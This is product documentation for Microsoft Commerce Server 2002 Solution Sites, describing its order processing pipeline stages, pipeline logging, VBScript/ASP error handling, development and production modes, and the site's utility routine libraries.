RequiredOrderAdjustPriceCy | Adds any unadjusted items to the subtotal. Calculates the discount savings for each line item.

Order Subtotal Stage

This stage calculates the subtotal for an order.

The components included in this stage are shown in the following table.

Component | Description
DefaultOrderSubTotalCy | Sets the _cy_oadjust_subtotal key to sum of _cy_oadjust_adjustedprice key for each item.
RequiredOrderSubTotalCy | Ensures that the _oadjust_subtotal key is available.

See Also

About the Basket Feature for Solution Sites

basket.pcf


OPP for Checkout

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Order Processing pipeline (OPP) that receives and accepts payment information.

Purchase Check Stage

This stage is used to verify that the address and credit card information the user provides meets certain criteria.

The component included in this stage is shown in the following table.

Component | Description
Commerce.Splitter | Divides an order into groups based on their vendor.

Payment Stage

This stage approves credit card payments.

The components included in this stage are shown in the following table.

Component | Description
Scriptor--Payment Info | This scriptor pipeline component sets the billing_currency and billing_amount keys as expected by payment components The billing_currency key value should be an ISO 4217 3-digit code. The billing_amount key value should be the _cy_total_total key converted to the billing_currency key. As needs dictate, consider rewriting this scriptor to compiled code.
ValidateCreditCard | Verifies that each credit card field on the order form contains data, that the credit card has not expired, and that the number is properly formed.
DefaultPayment | Assigns an initial value to the payment_auth_code key.
RequiredPayment | Ensures that the _payment_auth_code key is not NULL.

Accept Stage

This stage initiates order tracking, generates purchase orders, and saves the order.

The components included in this stage are shown in the following table.

Component | Description
RecordEvent | Records events such as clicks and requests in the Performance dictionary.
IISAppendToLog | Records information about content selection results in the QueryString key of the Internet Information Services (IIS) log file.

See Also

checkout.pcf

About the Checkout Feature for Solution Sites

Pipelines for Solution Sites


OPP for Receiving Purchase Orders

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Order Processing pipeline (OPP) that enables the Web site to receive orders through BizTalk Server.

Product Info Stage

The components in this stage enter product information for each line item. If the line item is unknown, the item will be marked 'delete=1'.

The components included in this stage are shown in the following table.

Component | Description
Scriptor: Fixup product_variant_id | This component can be removed from the pipeline, it has no functionality.
QueryCatalogInfo | Ensures that the items submitted via BizTalk Server are in the recipient's catalog. Executes a database query for each line item in the OrderForm object. If data is not found for the line item, the item is marked for deletion.
RequiredProdInfo | Goes through each item on the order form and deletes any line items marked for deletion. If there are any deletions, a "_Basket_Error to MessageManager(pur_badsku)" error message is returned.

Order Initialization Stage

This stage sets the initial order information on the OrderForm object and verifies that the OrderForm object contains an order ID.

Order Check Stage

This stage verifies that the order can be processed.

The component included in this stage is shown in the following table.

Component | Description
RequiredOrderCheck | Ensures that the OrderForm object contains at least one line item.

Item Price Stage

This stage ensures that the _cy_iadjust_currentprice key for each item contains the most current price information.

The components included in this stage are shown in the following table.

Component | Description
DefaultItemPriceCy | Initializes the _cy_iadjust_regularprice key for each line item to store the most current price.
RequiredItemPriceCy | Ensures that the _cy_iadjust_regularprice key for each line item is set.

Item Adjust Price Stage

This stage ensures that the _cy_oadjust_currentprice key for each item contains the most current price adjusted for discounts.

The component included in this stage is shown in the following table.

Component | Description
RequiredItemAdjustPriceCy | Ensures that the current price for each item in the order is set and that the price has not been changed.

Order Adjust Price Stage

This stage decrements the _n_unadjusted key, which is initialized to 'quantity' by the RequiredOrderInit component as line item units participate in discounts. You must set the _cy_oadjust_subtotal key to the price of the items adjusted.

The components included in this stage are shown in the following table.

Component | Description
Scriptor: Use Submitted Prices | Accepts the price submitted in the XML as the price for the product. This component should be replaced with logic that will validate that the submitted prices are correct.
RequiredOrderAdjustPriceCy | Adjusts the total cost of each item in an order after applying any discounts.

Order Subtotal Stage

This stage calculates the subtotal for an order.

The components included in this stage are shown in the following table.

Component | Description
DefaultOrderSubTotalCy | Calculates the subtotal for the order.
RequiredOrderSubTotalCy | Ensures that the subtotal of all items in the item list of an order exist so that the order totals are properly calculated.

Order Total Stage

This stage sums the subtotal, tax, shipping, and handling values.

The components included in this stage are shown in the following table.

Component | Description
Scriptor: My Total | Placeholder component. This component should be replaced on an as needed basis. Currently, it accepts the BizTalk Server XML order, sets the shipping, handling and tax charges to zero, and sets the order total.
RequiredTotalCy | Performs a _VERIFY_WITH check on the OrderForm object.

Accept Stage

This stage can be used to initiate order tracking, generate purchase orders, and save the order.

See Also

About the BizTalk Server Integration Feature

Pipelines for Solution Sites

recvpo.pcf


OPP for Totaling Orders

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Order Processing pipeline (OPP) that computes the sum of the subtotal, tax, shipping, and handling values.

Shipping Stage

This stage calculates the total shipping charge for the order.

The components included in this stage are shown in the following table.

Component | Description
Commerce.Splitter | Divides an order into groups based on the shipping_method_id and the Shipping_address_id keys.
Commerce.ShippingMethodRouter | Runs components to process the shipments and calculates the shipping total for the entire order.
ShippingDiscountAdjust | Applies shipping discounts to an order.

Handling Stage

This stage calculates the total handling charge for the order.

The components included in this stage are shown in the following table.

Component | Description
DefaultHandlingCy | Sets the _handling_total key to zero.
RequiredHandlingCy | Ensures that the _handling_total key was set.

Tax Stage

This stage calculates the sales tax for each item on the order and the sum of the tax for the entire order.

The components included in this stage are shown in the following table.

Component | Description
SampleRegionalTax | Calculates the tax for the order.
RequiredTaxCy | Ensures that the tax values are set.

Order Total Stage

This stage sums the subtotal, tax, shipping, and handling values.

The components included in this stage are shown in the following table.

Component | Description
DefaultTotalCy | Computes the _cy_total_total key as the _cy_oadjust_subtotal key plus the _cy_shipping_total key plus the _cy_handling_total key plus the _cy_tax_total key.
RequiredTotalCy | For each key/value pair in the _Verify_With dictionary, this component reads the same key from the order form. If any of the values do not match, or keys do not exist, the error "MessageManager("pur_badverify")" is added to the _Purchase_Errors log.

Inventory Stage

This stage verifies that every item ordered is in stock.

CopyFields Stage

This stage copies fields of interest to the application, onto the order form.

Component | Description
CopyFields | Copies the _product_description key into the description field, which is saved to a database, enabling future product description searches on the order. It also copies the user_first_name key from the profile for the user onto the order form. This also enables future first name searches and allows the first name of the user to be displayed without looking up the profile for the user.

See Also

About the Checkout Feature for Solution Sites

Pipelines for Solution Sites

total.pcf


Pipeline Log Files

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

When pipeline logging is enabled, pipeline log files are stored in the pipeline/logfiles subdirectory. A log file is created for every user and pipeline pair, so every user has a log file for every pipeline they run. If a user runs a pipeline more than once, their previous log file is written over by the new log file.

You can use the information contained in the pipeline log files to see what dictionary values are read and written by the components that are run in the pipeline, and what the error level for each component is, which is useful in debugging.

Use the following procedure to enable pipeline logging on your site.

Note

  • It is recommended that you only use pipeline logging in development mode. You can enable pipeline logging while in production mode; however, logging the pipelines in production mode will decrease the performance for your site.

To enable pipeline logging

  1. Open the global_siteconfig_lib.asp page.
  2. In the InitSitePipelines function, find these lines of code and replace False with True (if in production mode, the first line is MSCSEnv = PRODUCTION):
    If MSCSEnv = DEVELOPMENT Then
   dictPipeline.LoggingEnabled = False
   dictPipeline.LogsCycled     = False
  3. Open Windows Explorer and browse to the log files subdirectory.
  4. On the File menu, click Properties.
  5. On the Security tab click Add.
  6. In the Select Users, Computers, or Groups dialog box, type the name of the anonymous user account in the lower box. For example, if your server name is computer1, type computer1\iusr_computer1 and then click OK.
  7. On the Log Files Properties dialog box, set the permission level to Full Control for the anonymous account by checking the Allow box in the Full Control row of the Permissions box, and then click OK.
  8. To test the logging feature, make sure your site is the environment in which pipeline logging was enabled in Step 1. To change the environment, open the global.asa file and set MSCSEnv to the correct environment.

A pipeline log file is now created for each user that runs a pipeline, for each pipeline in your site. If a user runs a pipeline more than once, the previous log file will be written over.

See Also

Logfiles Folder


Error Handling for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Solution Sites implement various error-handling methods. Some of these methods are used to handle errors within the code, whereas others are used to determine the appropriate site content to show users when errors in the code occur. The main techniques used to handle errors within the code are the On Error Resume Next error handler, and the normal bubble-up error handling built into Visual Basic Scripting Edition. The main techniques used to notify Web site users of errors are pipeline warnings and Active Server Pages (ASP) error pages. Pipeline warnings notify users of incorrect user input and other non-critical problems pertaining to their order. ASP error pages are used to inform users of critical errors in the Web site. The content of the ASP error pages can be altered to show different levels of detail by changing between the DEVELOPMENT and PRODUCTION environments.

This section contains:

  • On Error Resume Next
  • Normal Bubble-Up
  • Pipeline Warnings
  • ASP Error Pages for Solution Sites
  • Development and Production Modes for Solution Sites

See Also

Error Levels

Error handling in Pipelines


On Error Resume Next

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The On Error Resume Next error handler is a Visual Basic Scripting Edition statement that allows a page to continue processing even after it has encountered an error. The ability to continue processing script after encountering an error is useful if errors are expected, or if you wish to implement custom error handling. The dangerous part of enabling the On Error Resume Next statement is that it turns off all error handling for subsequent statements in the function until the On Error Goto 0 statement is called.

The On Error Resume Next statement is used in the Solution Sites to ignore specific non-critical errors. These errors are usually generated by objects that may return an error, but the error is expected and can be handled. Careful attention must be paid to re-raise any non-expected error that occurred during the On Error Resume Next code block. You can raise an error using the Err.Raise property, but this statement must be outside the On Error Resume Next code block.

The Solution Sites use the On Error Resume Next statement as little as possible, mitigating the risk of accidentally leaving it on. Centralized error processing is left to the 500error.asp page.

When the Solution Sites use the On Error Resume Next statement, the affected section of code is typically indented for clarity.

See Also

Normal Bubble-Up

Pipeline Warnings

ASP Error Pages for Solution Sites

Development and Production Modes for Solution Sites


Normal Bubble-Up

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Error handlers such as On Error Resume Next do not need to be implemented in every procedure written in Visual Basic. When errors are encountered in Visual Basic Scripting Editing, they bubble-up through the call stack until an error handler is found.

In a scenario where there are nested procedures, the error will move up the procedure hierarchy and look for the first error handler. For example, if function A enables the On Error Resume Next error handler and calls function B, which does not contain the On Error Resume Next error handler, and an error is generated in the function B, the error will bubble up and the next line of code in the function A will be called.

See Also

On Error Resume Next

Pipeline Warnings

ASP Error Pages for Solution Sites

Development and Production Modes for Solution Sites


Pipeline Warnings

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Pipeline warnings are generated when a pipeline component has determined that a user-related error has occurred. For example, if a user enters an invalid zip code, the pipeline runs and returns a value of 2, indicating that a warning should be displayed to the user. The site then enumerates the _Basket_Errors and _Purchase_Errors collections from the order form and displays them to the user. Then the page is rendered again with a message stating, "Please enter of correct ZIP/postal code."

Pipelines can return values of 1, 2, or 3. The following table describes the error levels.

Return Value | Description
1 | The pipeline executed successfully.
2 | Warning message shown to user.
3 | Critical failure, failed HRESULT.

The _Basket_Errors and _Purchase_Errors collections contain lists of all the warnings accumulated in the pipeline. So, if numerous errors have accumulated in these collections the user is prompted to correct them all at the same time.

For more information about error handling in pipelines, see "Error Handling" or "Error Levels" in Commerce Server 2002 Help.

See Also

On Error Resume Next

Normal Bubble-Up

ASP Error Pages for Solution Sites

Development and Production Modes for Solution Sites


ASP Error Pages for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The 500error.asp page is the most common error page that users will view when a critical error is encountered on your site. To aid in the usability of your site, it is recommended that you customize this page. The current message displayed on the 500error.asp page is, "We apologize for the inconvenience. Please try again later. If the problem persists, please contact our webmaster." You may want to add an e-mail link to your webmaster so that your users can contact you when they encounter difficulties. For more information about the 500error.asp page, see 500error.asp.

To specify which error page will be displayed when errors are encountered, see the Custom Errors tab in the IIS Properties dialog box for your site.

To view the Custom Errors tab

  1. Click Start, point to Programs, point to Administrative Tools, and then click Internet Services Manager.
  2. In the Internet Information Services screen, expand the nodes to the following path: Internet Information Services/<Server Name>/Default Web Site/<Site Name>.
  3. Right-click <Site Name> and select Properties.
  4. Click the Custom Errors tab.

The Custom Errors tab lists all the HTTP errors and the file that is displayed when the error is encountered. The file names can be changed by clicking the Edit Properties button.

For more information about all of the Active Server Pages (ASP) error pages included in the Solution Sites, see Error Folder.

See Also

On Error Resume Next

Normal Bubble-Up

Pipeline Warnings

Development and Production Modes for Solution Sites


Development and Production Modes for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Solution Sites can operate in two modes, DEVELOPMENT and PRODUCTION. PRODUCTION mode shows user-friendly error messages that are set in the Active Server Pages (ASP) error page associated with the error encountered, and does not reveal site internals. DEVELOPMENT mode enables you to see more detailed error messages. The detailed message includes the file name and line of code in which the error was raised. DEVELOPMENT mode also shows you the user-friendly message associated with the error so that you know what your users will see if they encounter the same error in PRODUCTION mode.

There are other differences between PRODUCTION and DEVELOPMENT mode that may be used while debugging your Web site. For example, when in DEVELOPMENT mode, test credit card numbers are automatically filled into the crdtcard.asp page.

To change the environment you are working in, you must change the environment variable in the global.asa file. Set the MSCSEnv key to the environment variable you would like to use, either MSCSEnv = DEVELOPMENT or MSCSEnv = PRODUCTION.

See Also

On Error Resume Next

Normal Bubble-Up

Pipeline Warnings

ASP Error Pages for Solution Sites


Utility Routines for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The folders "include" and "services\include" contain utility routine files. These files are intended for inclusion in Web page files so that the utility routines they contain can be called from the script code in the Web pages.

These utility routines fall into three broad categories. The first type are those used during Internet Information Services (IIS) application initialization. In other words, those routines that are called when the file global.asa runs. These are initialization utility routines. In general, you will never add additional calls to these routines, because the initialization process is already in place. But you might find a need to modify one or more of these routines to accommodate changes to the initialization process. You might also add new routines of this type to accommodate new types of initialization requirements.

The second type of utility routine are those called from any of the Web site pages, including customer or partner services pages. These are general utility routines. The following two categories of general utility routines have extra conceptual information because of their relative importance:

HTML Construction for Solution Sites

Forms Processing for Solution Sites

The third type of utility routine are those designed specifically for the customer and partner services pages. These are services utility routines.

This section contains:

  • Utility Routines for Initializing Applications
  • General Utility Routines
  • Services Utility Routines


Utility Routines for Initializing Applications

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The utility routines used for application initialization can be divided into the following categories, which also correspond to the files in which they are defined.

This section contains:

  • Address Book Initialization Routines
  • Cache Initialization Routines
  • Configuration Initialization Routines
  • Credit Card Initialization Routines
  • CSF Initialization Routines
  • Data Initialization Routines
  • Entry-Point Initialization Routine
  • Forms Initialization Routines
  • Internationalization Initialization Routines
  • MessageManager Initialization Routine
  • Prediction Initialization Routine
  • Product Catalog Initialization Routines
  • Profiles Initialization Routines
  • Site Terms Initialization Routines
  • Styles Initialization Routines


Address Book Initialization Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_addressbook_lib.asp

The following address book initialization routines are defined in this file:

GetAddressBookAddressFieldDefinitions
This function initializes the form field definitions for address book entries.
GetAddressFieldDefinitions
This function initializes the form field definitions for address fields used in address book entries and on shipping and billing address forms.
GetShipToAddressFieldDefinitions
This function creates and returns a SimpleList object containing field definitions for the ship-to-address field. Most of the SimpleList is populated by a call to the GetAddressFieldDefinitions function. A Dictionary object containing items such as Name, Label, InputType, and so on, is also included in the SimpleList.


Cache Initialization Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_cache_lib.asp

The following cache initialization routine is defined in this file:

InitCacheManager
This function creates, initializes, and returns a CacheManager object. For more information about the individual caches created, see Remarks.


Configuration Initialization Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_siteconfig_lib.asp

The following configuration initialization routines are defined in this file:

GetAppConfigObject
This function returns an initialized AppConfig object. It sets the global variable dictConfig to the Dictionary object returned by the GetOptionsDictionary method of the AppConfig object, and adds the s_SecureHostName and s_NonSecureHostName values from the SiteConfig object to the dictConfig dictionary.
GetBaseURL
This function returns the base URL for this application.
GetCommerceSiteInstallPoint
This function returns one of the constants HOME_DIRECTORY or VIRTUAL_DIRECTORY, depending on whether the application was installed at the root of the website or in a virtual directory, respectively.
GetCommerceSiteName
This function returns the Commerce Server site name stored in the global page variable MSCSCommerceSiteName.
GetComputerName
This function returns the name of the computer.
GetConfigDictionary
This function returns the Dictionary object returned by a call to the GetOptionsDictionary method of the AppConfig object.
GetINIFileName
This function returns the file name for the .ini file containing the site configuration information.
GetINIString
This function returns the value of the specified key or "" (an empty string) if the key or its value cannot be found.
GetMachineBaseURL
This function returns the base URL for this application, and specifically for this server.
GetPaymentMethodsForSite
This function returns the payment methods for the site. This function must run after the MessageManager object is assigned.
GetRootPath
This function returns the file path to the root of the application.
GetSecurePagesDictionary
This function returns the Dictionary object containing the names of the secure site pages.
GetSiteConfigObject
This function creates, initializes, and returns a SiteConfig object.
GetSitePages
This function assigns friendly names to pages in the site. Friendly names are also used by PageSets and the GetSecurePagesDictionary function.
iGetWebServerPort
This function returns the Web server port number being used for the site. For Web farms, it is assumed that the sites on all servers are using the same port number.
InitPageSets
This function creates sets of related pages, which are returned in a Dictionary object, where each entry in the dictionary is a string of comma-separated page names.
InitSitePipelines
This function creates and initializes a Dictionary object with an entry for each pipeline configuration file (PCF) used in the site. It also establishes pipeline logging settings.
IsActiveDirectoryPresent
This function determines whether Active Directory is being used by the Profile Service, returning True if it is being used, and False otherwise.
JoinWebFarm
This sub adds the current Web server to the Web farm, if the machine is not already recognized as being so. This routine will run in the case where a site was replicated using Microsoft Application Center 2000, or other cases where the site was not installed using Commerce Site Packager.
sGetActiveDirectoryDefaultNamingContext
This function gets the Active Directory domain name.


Credit Card Initialization Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_creditcards_lib.asp

The following credit card processing initialization routines are defined in this file:

GetCreditCardCodesList
This function returns the same SimpleList object as the GetCreditCardNamesList function, except that the first item is set to the string "-1".
GetCreditCardFieldDefinitions
This function initializes and returns the form field definitions for credit card fields.
GetCreditCardNamesList
This function returns a SimpleList object that has the string corresponding to the MessageManager constant L_SelectOne_Text as the first item, and the names of the accepted credit cards as the subsequent items.


CSF Initialization Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_csf_lib.asp

The following Content Selection Framework initialization routine is defined in this file:

InitCSF
This sub creates and initializes the global context Dictionary objects and the event recording pipeline for the Content Selection Framework (CSF).


Data Initialization Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_data_lib.asp

The following data initialization routines are defined in this file:

GetDWConnectionString
This function returns the SQL Server OLEDB connection string for the Data Warehouse that corresponds to the Web site.
InitDataFunctions
This function creates a DataFunctions object and returns a reference to it, setting the default locale before returning.
oGetBizDataObject
This function creates an instance of the BusinessDataAdmin object and returns a reference to it, calling its Connect method before returning.
oGetGenIDObject
This function creates an instance of the GenID object and returns a reference to it.


Entry-Point Initialization Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_main_lib.asp

The following initialization entry-point routine is defined in this file:

Main
This sub serves as the entry point into the file global.asa, which creates and initializes many of the objects supplied by Commerce Server 2002. References to these objects are stored in the intrinsic Application object so that they can be retrieved and used from Web site pages.


Forms Initialization Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_forms_lib.asp

The following forms processing initialization routines are defined in this file:

dictGetPropertySchema
This function creates and returns a Dictionary object containing property attributes. These attributes are used in the application for standard form validations, rendering functions, and profile updates.
GetFormDefinitions
This function returns a Dictionary object of field definitions (including variables such as maximum and minimum field lengths, whether the field is required, and so on) for the following fields: Login, Registration, BillToAddress, ShipToAddress, AddressBookAddress, CreditCard, and PurchaseOrder.
GetLoginFieldDefinitions
This function returns the login form field definitions.
GetPasswordFieldDefinition
This function returns a Dictionary object of field definitions for the password field in the new user and login forms. The field definitions include size constraint settings, invalid characters, and so on.
GetPurchaseOrderFieldDefinitions
This function returns a Dictionary object of form field definitions, including name, size constraint settings, and so on. A billing currency field is created if an alternate currency can be used on the site.
GetRegistrationFieldDefinitions
This function returns a Dictionary object of field definitions for the registration form.


Internationalization Initialization Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_internationalization_lib.asp

The following internationalization initialization routines are defined in this file:

GetBillToCurrenciesListItems
This function creates and returns a SimpleList object containing three items: the MessageManager "L_SelectOne_Text" message, the base currency symbol, and the alternate currency symbol.
GetBillToCurrenciesListValues
This function creates and returns a SimpleList object containing three items: the integer –1, the base currency code, and the alternate currency code.
GetBillToCurrencyFieldDefinition
This function initializes the form field definitions for the bill-to currency field.
GetCountryCodesList
This function returns a SimpleList object that has "-1" as the first item, and the codes corresponding to the countries returned by the GetCountryNamesList method of the AppConfig object as the subsequent items.
GetCountryNamesList
This function returns a SimpleList object that has the string corresponding to the MessageManager constant L_SelectOne_Text as the first item, and the names of the countries returned by the GetCountryNamesList method of the AppConfig object as the subsequent items.
InitAltCurrencyDisp
This function creates, initializes, and returns a EuroDisplay object. This enables the display of the Euro as an alternate currency.


MessageManager Initialization Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_messagemanager_lib.asp

The following MessageManager object initialization routine is defined in this file:

GetMessageManagerObject
This function reads the MessageManager object entries from the file rc.xml.


Prediction Initialization Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_predictor_lib.asp

The following prediction initialization routine is defined in this file:

InitPredictor
This function creates, initializes, and returns a PredictorClient object. Before returning, it also loads the Transaction prediction model from the Data Warehouse, and sets prediction properties.


Product Catalog Initialization Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_catalog_lib.asp

The following product catalog initialization routines are defined in this file:

dictGetCatalogAttributes
This function retrieves all the property definitions that exist in the Product Catalog System and places them in a Dictionary object for fast access.
dictGetRSFields
This function creates and returns a Dictionary object containing items whose values correspond to the field values of the Recordset object specified by the rs parameter.
InitCatalogManager
This function creates, initializes, and returns a CatalogManager object.
InitCatalogSets
This function creates and initializes a CatalogSets object. Then it creates, initializes, and returns a reference to a Dictionary object of Dictionary objects, where each subordinate dictionary represents a CatalogSets object, and each entry in the subordinate dictionaries represents a catalog in the corresponding CatalogSets object.


Profiles Initialization Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_profile_lib.asp

The following profiles initialization routines are defined in this file:

AddGroupAndPropertySchemas
This sub recursively adds all group and property definitions for a profile to a flat list of Dictionary objects contained in a SimpleList object.
dictGetProfileSchemaForAllProfileTypes
This function returns a Dictionary object containing the schema for all profile types.
InitAuthManager
This function creates an AuthManager object and returns a reference to it.
InitProfileService
This function creates and initializes a ProfileService object, and returns a reference to it.
listGetProfileSchema
This function creates and returns a SimpleList object of Dictionary objects that represent the schema specified by the parameters.
oGetOpenConnectionObject
This function creates an ADO Connection object and returns a reference to it, opening a connection to the Commercer Server OLEDB Provider before returning.
oGetProfile
This function returns an XML DOMDocument object that contains the profile specified by the sProfileName parameter.


Site Terms Initialization Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_siteterms_lib.asp

The following site terms initialization routines are defined in this file:

bIsSiteTerm
This function determines whether the specified property is a site term.
oGetSiteTermOptions
This function returns a SimpleList object of Dictionary objects, where each dictionary contains a single key/value pair. Each key/value pair represents the display name and value of one site term choice associated with the property specified by the sPropertyName parameter.
sGetReferenceString
This function returns the reference string attribute value for a given property element.


Styles Initialization Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_ui_lib.asp

The following styles initialization routines are defined in this file:

GetSiteStyles
This function returns the site styles, which are used by HTML library functions.
GetStyles
This function returns a Dictionary object containing the size attribute for standard text and password boxes.


General Utility Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The utility routines appropriate for use on all Web pages, including the customer and partner services pages, can be divided into the following categories, which also correspond to the files in which they are defined.

This section contains:

  • Address Book Routines
  • Analysis Routines
  • Authentication and Access Control Routines
  • Cache Routines
  • Cookie Routines
  • Date Routines
  • Forms Routines for Solution Sites
  • HTML Routines for Solution Sites
  • Miscellaneous Routines
  • Order Routines
  • Payment Routines
  • Pipeline Routines
  • Product Catalog Routines
  • Profile Routines
  • String Routines
  • URL Routines


Address Book Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\addr_lib.asp

The following address book processing utility routines are defined in this file:

GetAddresses
This function returns a Recordset object of address information for either a user or an organization, based on the value of the sAddrParentID parameter.
GetAddressType
This function returns the address type from the request variable ADDRESS_TYPE.
GetOrganizationAddresses
This function serves as a wrapper function to the GetAddresses function, passing the sOrgID parameter to retrieve the corresponding address as a Recordset object.
GetUserAddresses
This function retrieves the address for a user. It calls the more generic GetAddresses function to retrieve and return the required address as a Recordset object.
IsZipCodeValid
This function determines whether the basic format of the zip code specified by the sZipCode parameter is correct, returning True if so, and False otherwise. For additional information, see the Remarks.
LookupRegion
This function returns the region name associated with the passed parameters. The sRegion parameter might specify a region name, in which case that name is returned, or it might specify a region code, in which case the corresponding region name is returned. If the region name cannot be determined, Null is returned.


Analysis Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\analysis.asp

The following analysis-related utility routines are defined in this file:

Analysis_ConstructKeyValueString
This function constructs a key/value pair for the "submit order" Commerce event.
Analysis_ConstructPRID
This function constructs the property string for "add to basket" and "remove from basket" Commerce events.
Analysis_LogAddToBasket
This sub logs a Commerce event (CEVT) when an item is added to the basket.
Analysis_LogEvent
This function logs a Commerce event (CEVT) to the Web server log file.
Analysis_LogRemoveFromBasket
This sub logs a Commerce event (CEVT) when an item is removed from the basket.
Analysis_LogSubmitOrder
This sub logs a Commerce event when an order is submitted.


Authentication and Access Control Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\std_access_lib.asp

The following authentication-related utility routines are defined in this file:

CheckPartnerServiceAccess

This sub implements page-level access control. It grants access to users who have their PartnerDeskRoleFlags set to ROLE_ADMIN. All others are redirected to an error page.

EnsureAccess
This sub implements page-level access control. It grants access to users who are either authenticated to Internet Information Services (IIS), using Basic/Integrated Windows authentication, or have tickets. Call this sub from within the Main subroutine on every page that requires such access control. A call to this sub must appear before any other statement in the Main subroutine.
EnsureAuthAccess
This function implements page-level access control. It grants access to users who are either authenticated to Internet Information Services (IIS), using Basic/Integrated Windows authentication, or have an AUTH_TICKET. Call this function from within the Main subroutine on every page that requires such access control. A call to this function must appear before any other statement in the Main subroutine.
GetAuthManagerObject
This function creates, initializes, and returns an AuthManager object.
GetUserInfo
This sub, called from the include\setupenv.asp file, assigns the user ID, user type and user access type into the following global variables: m_userid, m_UserType, and m_UserAccessType.
IsFormLoginRequired
This function determines whether login is required on the current page. It returns True if logging in is always required, or if logging in is required for a purchase and the current page is in the purchase page set. Otherwise, it returns False.
IsPersistentCookieAllowed
This function determines whether persistent cookies are enabled in the current user's browser, returning True if so, and False otherwise. A test cookie and page redirection are used to make the determination.
sGetUserIDForNewGuestUser
This function gets the user ID for a new anonymous user.


Cache Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\std_cache_lib.asp

The following cache-related utility routines are defined in this file:

CacheFragment
This sub caches an HTML fragment.
CacheObject
This sub caches the specified object.
LookupCachedFragment
This function searches the LRUCache object specified by the sCacheName parameter for the fragment (a string) associated with name specified by the sCacheItemName parameter, returning the fragment if it is found, and Null otherwise.
LookupCachedObject
This function searches the LRUCache object specified by the sCacheName parameter for the object associated with name specified by the sCacheItemName parameter, returning the object if it is found, and Nothing otherwise.


Cookie Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\std_cookie_lib.asp

The following cookie processing utility routines are defined in this file:

CorrectRequest
This sub corrects a cookie for URL case-sensitivity.
GetCorrectedCookiePath
This function converts the case of a cookie path to match the Internet Information Services (IIS) application name, returning True if any character case was converted, and False otherwise.
GetCorrectedHostName
This function corrects the host name in the url parameter, if needed. It returns True if the host name was corrected, and False otherwise.
GetIISApplicationName
This function returns the Internet Information Services (IIS) application name.
GetRequestType
This function returns the type of request (POST or GET).
SetTestCookie
This sub sets a test cookie to learn if a browser allows cookies.


Date Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\std_dates_lib.asp

The following date processing utility routines are defined in this file:

GetMonthCodesList
This function returns a list of numeric month codes.
GetMonthNamesList
This function returns a list of month names.
GetYearsListItems
This function creates and returns a SimpleList object of items. The first item contains the MessageManager object "L_SelectOne_Text" message; the next item contains the current year; the following four items contain the next four year values (for example, if the current year is 2002, then the four items would contain 2003 through 2006).
GetYearsListValues
This function creates and returns a SimpleList object of items. The first item contains the integer "-1"; the next item contains the current year; the next four items contain the next four year values (for example, if the current year is 2002, then the four items would contain 2003 through 2006).


Forms Routines for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

For conceptual information about how forms are constructed and processed in the Solution Sites, see Forms Processing for Solution Sites.

include\form_lib.asp

The following forms processing utility routines are defined in this file:

bMatchesPattern
This function checks whether the value specified by the sValue parameter matches the expression specified by the sPattern parameter. If a match is found, this function returns True; otherwise it returns False.
GetFieldsErrorDictionary
This function returns a Dictionary object. The keys are the names of the form post fields and the values are the associated field validation error messages. Examples of errors include empty fields where input is required, incorrect password length, invalid characters, and so on.
GetSubmittedFieldValues
This function retrieves form post values from the request, based on the expected fields specified by the listFlds parameter, placing them in a Dictionary object where the corresponding keys are the names of the fields.
htmRenderFillOutForm
This function prepares the HTML that renders the form specified by the sFormName parameter in the forms Dictionary object stored in the intrinsic Application object, which is under the name "MSCSForms".
IsFormSubmitted
This function is used to test whether the current request contains a query string or form post variable with the name "mode" that has a value that can be successfully converted to a number.


HTML Routines for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

For conceptual information about how HTML is constructed in the Solution Sites, see HTML Construction for Solution Sites.

include\html_lib.asp

The following HTML processing utility routines are defined in this file:

Bold
This function surrounds the string specified by the s parameter with the tags "<B>" and "</B>", and then returns the resulting string.
BRTag
This function appends the <BR> tag to the end of the string specified by the s parameter, and then returns the resulting string.
GetRepeatStyle
